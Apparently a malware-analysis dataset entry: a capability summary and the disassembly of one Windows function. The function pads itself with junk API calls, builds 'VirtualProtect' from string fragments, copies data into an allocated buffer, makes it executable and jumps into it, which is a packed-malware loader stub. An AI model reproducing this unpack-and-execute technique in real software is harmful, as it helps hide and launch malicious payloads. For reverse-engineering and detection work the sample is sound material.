Function at 0x401490
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ccc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x838
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
mov edi, edi
cmp esi, 0xfa62c8f
jge 0x4014d4
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x4014e5
inc esi
cmp esi, 0x67d12
jl 0x4014c0
mov eax, dword [0x458aac]
cmp eax, 0x93
jne 0x401593
mov esi, dword [sym.imp.GDI32.dll_CreateDCW]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebx
push ebx
push ebx
push ebx
call esi
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push str.jufaguzatazaxuvehu
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
call fcn.004031e0
add esp, 4
push eax
push str.jufaguzatazaxuvehu
lea ecx, [ebp - 0x3c]
call fcn.004020f0
push ebx
mov dword [ebp - 4], ebx
call fcn.00402cd4
add esp, 4
push ebx
call fcn.00403368
add esp, 4
push ebx
push ebx
call fcn.00403397
add esp, 8
push ebx
call fcn.0040372e
mov ecx, dword [0x44cb2c]
add eax, 0x1134b
push eax
push ebx
mov dword [0x4598e8], ecx
mov dword [0x458aac], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
mov dword [0x458538], eax
call edi
push 0x44fbc8
mov dl, 0x72
push eax
mov dword [0x45853c], eax
mov word [0x44fbd1], 0x746f
mov byte [0x44fbd0], dl
mov dword [0x44fbd3], 0x746365
mov dword [0x44fbc8], 0x74726956
mov dword [0x44fbcc], 0x506c6175
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x458530], eax
mov dword [ebp - 0x10], 0x20
add dword [ebp - 0x10], 0x20
mov eax, dword [ebp - 0x10]
mov ecx, dword [0x458aac]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [0x458538]
push eax
push ecx
push edx
call dword [0x458530]
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x401634
cmp dword [0x458aac], ebx
jbe 0x4016b0
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
jmp 0x401650
mov eax, dword [0x4598e8]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x458538]
mov byte [edx + esi], cl
cmp dword [0x458aac], 0x490
jne 0x4016a5
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push 0
call edi
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x458aac]
jb 0x401650
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor esi, esi
mov eax, dword [0x458aac]
add eax, esi
cmp eax, 0x8d
jne 0x4016f7
push 0
lea ecx, [ebp - 0x440]
push ecx
push 0
push 0
push 0
push 0
call edi
push str.tomepegawaxehod
push str.luzojowilikomumojokeladenekix
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4016be
call fcn.00401360
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40172e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x114e9
mov edx, dword [ebp - 0x10]
add dword [0x458538], edx
inc esi
cmp esi, 0x674bd
jl 0x401710
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x14], 0x7b
cmp dword [0x458aac], 0x86
jne 0x401798
push 0
call esi
push 0
lea eax, [ebp - 0x840]
push eax
push str.luwaweyikecugikiruvanow_sazovadefoyohohiyazuy_xesebut_jesubanamitoxezexasu_lejozesuvapif
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x458aac], 0xf
jne 0x4017ab
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec dword [ebp - 0x14]
jne 0x401750
mov edx, 0x6c
mov word [0x458ac2], dx
mov edx, 0x64
mov ecx, 0x6d
mov eax, 0x33
push 0x458ab0
mov dword [0x458ab6], 0x67006d
mov word [0x458ac0], dx
mov dword [0x458ac4], 0x6c
mov dword [0x458abc], 0x2e0032
mov word [0x458ab0], cx
mov word [0x458aba], ax
mov dword [0x458ab2], 0x690073
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x458538]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret